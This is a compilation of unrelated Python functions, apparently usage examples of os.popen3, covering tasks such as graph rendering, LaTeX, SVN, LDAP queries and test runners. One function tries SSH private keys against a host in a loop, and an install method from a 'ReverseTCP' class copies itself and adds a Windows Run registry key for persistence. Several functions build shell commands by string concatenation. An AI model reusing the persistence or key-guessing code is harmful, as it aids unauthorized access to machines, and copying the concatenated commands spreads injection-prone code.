def _executeEmbedded(self,entry,internals={}): """Execute backtic embedded commands and substitute result""" have_subprocess=True try: import subprocess except ImportError: have_subprocess=False updated = [entry] delim = re.compile(self.delimiter_exec+'(.*?)'+self.delimiter_exec) shell_dot_config = (self.cfg) and '. '+self.cfg+' >/dev/null 2>&1; ' or 'true; ' if (self.varcacheFile): shell_gen_cachefile = 'task_setup_cachegen '+self.cfg+' '+self.varcacheFile+' ; . '+self.varcacheFile+' ; ' command_prefix = 'if [[ -s '+self.varcacheFile+' ]] ; then . '+self.varcacheFile+' >/dev/null 2>&1 ; else '+shell_gen_cachefile+'fi ; ' else: command_prefix = shell_dot_config for command in delim.finditer(entry): for var in list(internals.keys()): command_prefix = command_prefix+str(var)+'='+str(internals[var])+'; ' if have_subprocess: p = subprocess.Popen(command_prefix+command.group(1),shell=True,universal_newlines=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE) error_message = p.stderr.read().rstrip('\n') outbuf = p.stdout.read().rstrip('\n ') else: (stdin,stdout,stderr) = os.popen3(command_prefix+command.group(1),'r') error_message = stderr.read().rstrip('\n') outbuf = stdout.read().rstrip('\n ') stdin.close() stdout.close() stderr.close() elements = re.split(self.delimiter_target,outbuf) target_list = [] for j in range(0,len(updated)): for i in range(0,len(elements)): target_list.append(command.re.sub(elements[i],updated[j],count=1)) updated = target_list if error_message: print("Warning: the embedded command "+self.delimiter_exec+command.string+self.delimiter_exec+ \ " in the configuration file returned an error: "+error_message) return(updated)
def crystal(folder): a = [] f1 = None f2 = None f3 = None f1, f2, f3 = os.popen3( " echo Box-XX Box-YX Box-YY Box-ZX Box-ZY Box-ZZ| g_energy_mpi -f %s" % folder) for i in f2: if i[:3] == "Box": a.append(float(i.split()[1])) f2.close() print folder box_xx = abs(a[0]) box_yy = math.sqrt(a[1] * a[1] + a[2] * a[2]) box_zz = math.sqrt(a[3] * a[3] + a[4] * a[4] + a[5] * a[5]) alpha = math.acos( (a[1] * a[3] + a[2] * a[4]) / box_xx / box_zz) / math.pi * 180 beta = math.acos(a[0] * a[3] / box_xx / box_zz) / math.pi * 180 gama = math.acos(a[0] * a[1] / box_xx / box_yy) / math.pi * 180 return [box_xx, box_yy, box_zz, alpha, beta, gama]
def backup_directory(original_directory, backup_directory): # Backing up the directory requires GNU mirrordir to be installed; # shutil.copytree won't do the job if there are pipes or fifos # etc. in my_directory. # Implementing mirrordir directly in python would be a # good project! # mkdir will throw the correct errors for us: os.mkdir(backup_directory) commandline = 'mirrordir ' + original_directory + ' ' + backup_directory # Run the process using popen3; possibly dodgy on Windows! # Need popen3 rather other popen function because we want to # grab stderr and hide it from the clients console. (stdin, stdout, stderr) = os.popen3(commandline, 'r') # Close straight away; mirrordir expects no input. # return the exist status: return stdout.close()
def run(self): while (not self.TheEnd.GetEnd()) and (not self.QueueDir.empty()): key = self.QueueDir.get() cmd = 'ssh -l ' + self.user cmd = cmd + ' -p ' + self.port cmd = cmd + ' -o PasswordAuthentication=no' cmd = cmd + ' -i ' + self.dir + '/' + key cmd = cmd + ' ' + self.host + ' exit; echo $?' pin,pout,perr = os.popen3(cmd, 'r') pin.close() #To debug descoment the next line. This will show the errors reported by ssh #print perr.read() if pout.read().lstrip().rstrip() == '0': self.TheEnd.Finish() print '' print 'Key Found in file: '+ key print 'Execute: ssh -l%s -p%s -i %s/%s %s' %(self.user,self.port,self.dir,key,self.host) print ''
def run(self, cmd, inpLines=[], execStart=None): inpLines.reverse() inp, outp, errp = os.popen3(cmd) pid = 0 # XXX only available on unix :( if execStart: wx.CallAfter(execStart, pid) out = [] while 1: if inpLines: inp.write(inpLines.pop()) l = outp.readline() if not l: break out.append(l) errLines = errp.readlines() serr = ErrorStack.buildErrorList(errLines) self.pid = pid if serr or out: return self.checkError(serr, _('Ran'), out, errRaw=errLines) else: return None
def dmesgDisconnected(): try: fi, fo, fe = os.popen3("sudo dmesg") stderr = fe.readlines() stdout = fo.readlines() #print stderr #print stdout if len(stdout) > 0: for line in stdout: match = re.match("^.*?" + "USB disconnect" + ".*?$", line) # if (match): return True # match = re.match("^.*?" + "new full speed USB device" + ".*?$", stdout[len(stdout)-1]) # # if(match): #return True # for pc side return False return False except IOError as e: print e return False
def docsvg(compilationUnit, machine, targetDirectory, dotPath, fontsize): # obtain dot translation of the machine from dotmachine translator dotTranslation = dotmachine.translate( compilationUnit, machine, targetDirectory, [("--url-formatter", "docmachine.URLFormatter"), ("--tooltip-formatter", "DotMachineNullFormatter.DotMachineNullFormatter")]) # create 'dot' program sub-process to convert dot to svg (dotin, dotout, doterr) = os.popen3(dotPath + ( ' -Tsvg -Gsize="" -Gratio="" -Nfontsize="%s" -Efontsize="%s" -Elabelfontsize="%s" -Gfontsize="%s"' % (fontsize, fontsize, fontsize, fontsize))) # redirect dot stderr to /dev/null (Unix) or NUL (Windows) if sys.platform == "win32": devnullpath = 'NUL' else: devnullpath = '/dev/null' devnull = open(devnullpath, 'a+', 0) os.dup2(devnull.fileno(), doterr.fileno()) # write dot translation to dot input dotin.write(dotTranslation) dotin.close() # create pipe to obtain output from our svg-to-svg translator (svgr, svgw) = os.pipe() svgout = os.fdopen(svgr, 'r') svgin = os.fdopen(svgw, 'w') TRANSLATION_EXCEPTION = False # send svg translation from dot output to our svg-to-svg # translator - run as separate thread to avoid deadlock thread.start_new(doctranslatesvg, (dotout, svgin, fontsize, machine.absoluteMachineFilePath, getPackage(compilationUnit))) # read translated svg from translator output and return resulting # string rv = svgout.read() svgout.close() if TRANSLATION_EXCEPTION: raise "Exception encountered generating SVG machine diagram for %s" % machine.absoluteMachineFilePath else: return rv
def run_test(self, script, args): """ Run the script and return stdout and stderr flows """ old_cwd = os.getcwd() test_dir = os.path.dirname(os.path.dirname(__file__)) cmd = '%s "%s"' % (sys.executable, script) cmd += ''.join([' %s' % arg for arg in args]) os.chdir(test_dir) try: from subprocess import Popen, PIPE p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE) stdin, stdout, stderr = (p.stdin, p.stdout, p.stderr) except ImportError: stdin, stdout, stderr = os.popen3(cmd) out, err = stdout.read(), stderr.read() os.chdir(old_cwd) return out, err
def run(self, edit): path = os.path.realpath(self.view.file_name()).decode('utf-8') if os.path.splitext(path)[1] != '.css': sublime.error_message('Not a CSS file!') return cmd = getCkstylePath() + ' fix --safeMode -p "' + path + '"' returnValue = os.popen3(cmd) returnValue = returnValue[1].read() + returnValue[2].read() if returnValue.find('[console.error]') != -1: sublime.error_message(returnValue) else: region = sublime.Region(0, self.view.size()) msg = self.getRealMsg(returnValue) try: self.view.replace(edit, region, msg) except Exception: sublime.error_message( 'ERROR, maybe because file encoding charset is not utf-8') self.view.end_edit(edit)
def test_170_main(self): """main (Brunel ask default) """ l = get_all_versions("Brunel") x = os.popen3( (launcher + " LbConfiguration.SetupProject --shell=%s Brunel --ask") % _shell) self.assertEquals("Please enter", x[2].read(12)) # read up to the prompt while x[2].read(1) != ':': pass x[2].read(1) # quit x[0].write("\n") x[0].flush() self.assert_(project_configured(x[1].read(), "Brunel", l[-1]))
def make_png(self, tex, dpi, force=0): if debug: force = True dvifile = self.make_dvi(tex) prefix = self.get_prefix(tex) pngfile = os.path.join(self.texcache, '%s_%d.png' % (prefix, dpi)) command = "dvipng -bg Transparent -fg 'rgb 0.0 0.0 0.0' -D %d -T tight -o %s %s" % ( dpi, pngfile, dvifile) #assume white bg #command = "dvipng -bg 'rgb 1.0 1.0 1.0' -fg 'rgb 0.0 0.0 0.0' -D %d -T tight -o %s %s"% (dpi, pngfile, dvifile) # assume gray bg #command = "dvipng -bg 'rgb 0.75 0.75 .75' -fg 'rgb 0.0 0.0 0.0' -D %d -T tight -o %s %s"% (dpi, pngfile, dvifile) # see get_rgba for a discussion of the background if force or not os.path.exists(pngfile): stdin, stdout, stderr = os.popen3(command) verbose.report(''.join(stdout.readlines()), 'debug-annoying') err = ''.join(stderr.readlines()) if err: verbose.report(err, 'helpful') return pngfile
def create(self, prog=None, format='ps'): """Creates and returns a Postscript representation of the graph. create will write the graph to a temporary dot file and process it with the program given by 'prog' (which defaults to 'twopi'), reading the Postscript output and returning it as a string is the operation is successful. On failure None is returned. There's also the preferred possibility of using: create_'format'(prog='program') which are automatically defined for all the supported formats. [create_ps(), create_gif(), create_dia(), ...] """ if prog is None: prog = self.prog if self.progs is None: self.progs = find_graphviz() if self.progs is None: return None if not self.progs.has_key(prog): # Program not found ?!?! return None tmp_fd, tmp_name = tempfile.mkstemp() os.close(tmp_fd) self.write(tmp_name) stdin, stdout, stderr = os.popen3( self.progs[prog] + ' -T' + format + ' ' + tmp_name, 'b') stdin.close() stderr.close() data = stdout.read() stdout.close() os.unlink(tmp_name) return data
def setup_serial(self, port_name=None): self.usb_send, self.usb_recv, self.usb_err = os.popen3( self.server_executable_path + (" %d" % -self.device_index), 'b', 0) self.usb_timestamp = 0 self.__usb_read_leftovers = '' try: # pipes must be nonblocking fcntl.fcntl(self.usb_recv, fcntl.F_SETFL, os.O_NONBLOCK) # pipes must be nonblocking fcntl.fcntl(self.usb_err, fcntl.F_SETFL, os.O_NONBLOCK) firstmsg = '' badloops = 0 while badloops < 5 and not firstmsg: time.sleep(0.5) try: firstmsg = self.usb_err.read() except: badloops += 1 if badloops == 5: raise LabProError( "cannot find or communicate with USB Server: " + str(self.server_executable_path)) if firstmsg.find("No LabPro Found") >= 0: raise LabProError( "USB Server could not connect to a LabPro device at index %d" % self.device_index) self.__keep_running = 1 self.status_monitor = threading.Thread( target=self.read_status, name='USB LabPro status monitor') self.status_monitor.start() self.__saved_realtime_fragment = '' except: self.__keep_running = 0 self.close() raise
def importkey(logger): '''On new installs we need to import the rpm gpg key to check package sigs. This function will import the key if has not been imported already. We don't need to do this if called in install mode because the assumption is that expressway has done it. :param logger: logging object @author: Roy Nielsen :returns: void @change: Breen Malmberg - 7/12/2017 - fixed doc string; added try/except; fixed method logic ''' try: stdin, stdout, stderr = os.popen3('/bin/rpm -qi gpg-pubkey') isimported = stdout.read() stdout.close() stdin.close() stderr.close() importcommand = "" if not re.search('*****@*****.**', isimported): if os.path.exists('/usr/share/rhn/RPM-GPG-KEY'): importcommand = '/bin/rpm --import /usr/share/rhn/RPM-GPG-KEY' elif os.path.exists('/etc/pki/rpm-gpg/RPM-GPG-KEY-redhat-release'): importcommand = '/bin/rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-redhat-release' else: logger.log(LogPriority.DEBUG, ['importkey', "Could not locate RPM GPG key. Install GPG key manually"]) if importcommand: retcode = call(importcommand, shell=True) if retcode < 0: logger.log(LogPriority.DEBUG, "The rpm import gpg key command failed with exit code: " + str(retcode)) except Exception: raise
def __getmacaddrs(self): """The list of all MAC addresses on this machine.""" macaddrs = [] if sys.platform.startswith('win'): c = re.compile('\s(' + '[0-9a-f]{2}-' * 5 + '[0-9a-f]{2})(\s|$)', re.IGNORECASE) (p_in, p_out, p_err) = os.popen3('ipconfig /all') for line in p_out: m = c.search(line) if m: macaddrs.append(re.sub("-", ":", m.group(1)).upper()) elif sys.platform.startswith('darwin'): c = re.compile('\s(' + '[0-9a-f]{2}:' * 5 + '[0-9a-f]{2})(\s|$)', re.IGNORECASE) output = subprocess.check_output('/sbin/ifconfig -a', shell=True) matches = c.findall(output) for m in matches: # print u"m:{0}".format(m[0]) macaddrs.append(m[0].upper()) elif sys.platform.startswith('linux'): p_out = subprocess.check_output( "ip -br link show | awk '{print $3}'", shell=True) for line in p_out: macaddrs.append(line.upper()) else: # probably linux, let's try ipconfig under wine c = re.compile('\s(' + '[0-9a-f]{2}-' * 5 + '[0-9a-f]{2})(\s|$)', re.IGNORECASE) for line in os.popen('ipconfig /all'): m = c.search(line) if m: macaddrs.append(re.sub("-", ":", m.group(1)).upper()) # extend the list of macaddrs in any case with the serials # cannot hurt ;-) macaddrs.extend(self._serials) return macaddrs
def run_test(self, script, args, settings_file=None, apps=None): test_dir = os.path.dirname(os.path.dirname(__file__)) project_dir = os.path.dirname(test_dir) base_dir = os.path.dirname(project_dir) # Build the command line cmd = '%s "%s"' % (sys.executable, script) cmd += ''.join([' %s' % arg for arg in args]) # Remember the old environment old_django_settings_module = os.environ.get('DJANGO_SETTINGS_MODULE', None) old_python_path = os.environ.get('PYTHONPATH', None) old_cwd = os.getcwd() # Set the test environment if settings_file: os.environ['DJANGO_SETTINGS_MODULE'] = settings_file elif 'DJANGO_SETTINGS_MODULE' in os.environ: del os.environ['DJANGO_SETTINGS_MODULE'] os.environ['PYTHONPATH'] = os.pathsep.join([test_dir, base_dir]) # Move to the test directory and run os.chdir(test_dir) stdin, stdout, stderr = os.popen3(cmd) out, err = stdout.read(), stderr.read() # Restore the old environment if old_django_settings_module: os.environ['DJANGO_SETTINGS_MODULE'] = old_django_settings_module if old_python_path: os.environ['PYTHONPATH'] = old_python_path # Move back to the old working directory os.chdir(old_cwd) return out, err
def resume_tests(options, layer_name, failures, errors): args = [ sys.executable, options.original_testrunner_args[0], '--resume-layer', layer_name, ] for d in options.testrunner_defaults: args.extend(['--default', d]) args.extend(options.original_testrunner_args[1:]) if sys.platform.startswith('win'): args = args[0] + ' ' + ' '.join( [('"' + a.replace('\\', '\\\\').replace('"', '\\"') + '"') for a in args[1:]]) # this is because of a bug in Python (http://www.python.org/sf/900092) if options.profile and sys.version_info[:3] <= (2, 4, 1): args.insert(1, '-O') subin, subout, suberr = os.popen3(args) for l in subout: sys.stdout.write(l) line = suberr.readline() try: ran, nfail, nerr = map(int, line.strip().split()) except: raise SubprocessError(line + suberr.read()) while nfail > 0: nfail -= 1 failures.append((suberr.readline().strip(), None)) while nerr > 0: nerr -= 1 errors.append((suberr.readline().strip(), None)) return ran
def get_rversion(r_home): r_exec = os.path.join(r_home, 'bin', 'R') # Twist if Win32 if sys.platform == "win32": if "64 bit" in sys.version: r_exec = os.path.join(r_home, 'bin', 'x64', 'R') if sys.version_info >= (3,): import subprocess p = subprocess.Popen('"'+r_exec+'" --version', shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, close_fds=sys.platform!="win32") rp = p.stdout else: rp = os.popen3('"'+r_exec+'" --version')[2] else: rp = os.popen('"'+r_exec+'" --version') rversion = rp.readline() #Twist if 'R RHOME' spits out a warning if rversion.startswith("WARNING"): rversion = rp.readline() m = re.match('^R ([^ ]+) ([^ ]+) .+$', rversion) if m is None: rp.close() # return dummy version 0.0 rversion = [0, 0] else: rversion = m.groups()[1] if m.groups()[0] == 'version': rversion = rversion.split('.') rversion[0] = int(rversion[0]) rversion[1] = int(rversion[1]) else: rversion = ['development', ''] rp.close() return rversion
def __get_svn_rev__(path): m = None try: # with popen3, stderr goes into a pipe where we ignore it, # This means the user does not see errors. cmd = 'svnversion ' + path (sin, sout, serr) = os.popen3(cmd) # pick up the first line of output m = sout.read().strip() # if it looks like valid svnversion output, return it if m == 'exported': return m if re.match('^[0-9][0-9:]*[A-Z]*$', m): return m # if we get here, it was not valid - that probably means # an error of some kind. except: pass return None
def dmesgClear(): try: fi, fo, fe = os.popen3("sudo dmesg -c") stderr = fe.readlines() stdout = fo.readlines() #print stderr #print stdout if len(stderr) > 0: match = re.match("^.*?" + "no device present" + ".*?$", stderr[len(stderr) - 1]) #Last line of output of magic_flash.sh if (match): # If there's no device present, programming failed. return False match = re.match("^.*?" + "bytes used" + ".*?$", stderr[len(stderr) - 1]) #Last line of output of magic_flash.sh if (not match): # something else is wrong! return False return True return False except IOError as e: print e return False
def install(self): if not self.is_installed(): try: if not os.path.exists(self.INSTALL_DIRECTORY): try: os.makedirs(self.INSTALL_DIRECTORY) except Exception, e: ReverseTCP.PrintDebug(ReverseTCP(), 'PersistenceError -> ' + str(e)) self.INSTALL_DIRECTORY = os.environ[ "TEMP"] + "\\64" + "\\" os.makedirs(self.INSTALL_DIRECTORY) shutil.copyfile(self.EXECUTABLE_PATH, self.INSTALL_DIRECTORY + self.EXECUTABLE_NAME) stdin, stdout, stderr = os.popen3( "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v %s /t REG_SZ /d %s" % (self.SERVICE_NAME, self.INSTALL_DIRECTORY + self.EXECUTABLE_NAME)) return True except Exception, e: return str(e)
def __add__(self, other): """ """ if not isinstance(other, Polytope): raise TypeError, "other (=%s) must be a polytope" % other output_file = tmp_filename() infile1 = tmp_filename() open(infile1, 'w').write(self.__data) infile2 = tmp_filename() open(infile2, 'w').write(other.__data) cmd = "minkowski_sum %s 1 %s 1 %s" % (output_file, infile1, infile2) stdin, stdout, stderr = os.popen3(cmd) stdin.close() err = stderr.read() if len(err) > 0: raise RuntimeError, err print stdout.read(), err S = polymake.from_data(open(output_file).read()) os.unlink(infile1) os.unlink(infile2) os.unlink(output_file) return S
def make_dvi(self, tex, force=0): if debug: force = True prefix = self.get_prefix(tex) fname = os.path.join(self.texcache, prefix + '.tex') dvibase = prefix + '.dvi' dvifile = os.path.join(self.texcache, dvibase) if force or not os.path.exists(dvifile): command = self.get_tex_command(tex, fname) stdin, stdout, stderr = os.popen3(command) verbose.report(stdout.read(), 'debug-annoying') err = stderr.read() if err: verbose.report(err, 'helpful') # tex will put it's output in the current dir if possible, and # if not in TEXMFOUTPUT. So check for existence in current # dir and move it if necessary and then cleanup if os.path.exists(dvibase): os.rename(dvibase, dvifile) for fname in glob.glob(prefix + '*'): os.remove(fname) return dvifile
def execute1(command): if (len(sys.argv) > 2): args = string.join(sys.argv[2:]) else: args = '' cin, cout, cerr = os.popen3(command + ' %s' % (args)) while 1: text = cout.read() if text: print text else: break while 1: text = cerr.read() if text: print text else: break cin.close() cout.close()
def helper(*cmds): if platform=='win32': # Bug - how to suppress environment variable expansion? cmdstr=cmds[0]+' '+' '.join(['"%s"' % cmd for cmd in cmds[1:]]) if type(cmdstr)==types.UnicodeType: # commands must be MBCS encoded cmdstr=cmdstr.encode("mbcs") else: # See "QUOTING" in bash(1). cmdstr=' '.join(['"%s"' % cmd.replace('\\','\\\\').replace('"','\\"').replace("$", "\\$").replace("`", "\\`") for cmd in cmds]) (i,o,e)=popen3(cmdstr) i.close() err=o.read() err+=e.read() o.close() e.close() #if __debug__: print err err=err.strip().split('\n') if len(err)>1 and err[-1].startswith('('): err=err[-2].strip() # DSF errors appear on penultimate line else: err=', '.join(err) return err
def SavitzkyGolay(window, derivative, datalist): if len(datalist) < 2 * window: window = len(datalist) / 2 elif window == 0: window = 1 stdin, stdout, stderr = popen3(SG_bin + ' -V0 -D' + str(derivative) + ' -n' + str(window) + ',' + str(window)) for data in datalist: stdin.write( ` data ` + '\n') try: stdin.close() except: print stderr.readlines() results = stdout.readlines() stdout.close() SG_results = [] for result in results: f = float(fpformat.fix(result, 6)) if f < 0: SG_results.append(0) else: SG_results.append(f) return SG_results
def __init__(self, command, separator, indir): if indir: command = '{ cd "' + indir + '" && ' + command + '; }' if trace_level >= 1: print "== (cvs):", command (chin, self.chout, self.cherr) = os.popen3(command, 'r') chin.close() self.choutfd = self.chout.fileno() self.cherrfd = self.cherr.fileno() # initialize self.outeof = 0 self.erreof = 0 self.error_output = '' #self.makeNonBlocking(self.choutfd) #self.makeNonBlocking(self.cherrfd) self.separator = separator
def query_bdii(endpoint, query="(objectClass=GlueCE)", base="o=grid", ldap_filter=""): r = re.compile('ldap://(.*):([0-9]*)') m = r.match(endpoint) if not m: raise Exception("Improperly formatted endpoint: %s." % endpoint) info = {} info['hostname'], info['port'] = m.groups() info['query'] = query info['base'] = base info['filter'] = ldap_filter if query == '': cmd = 'ldapsearch -h %(hostname)s -p %(port)s -xLLL -b %(base)s' \ " " % info else: cmd = 'ldapsearch -h %(hostname)s -p %(port)s -xLLL -b %(base)s' \ " '%(query)s' %(filter)s" % info _, std_out, _ = os.popen3(cmd) return std_out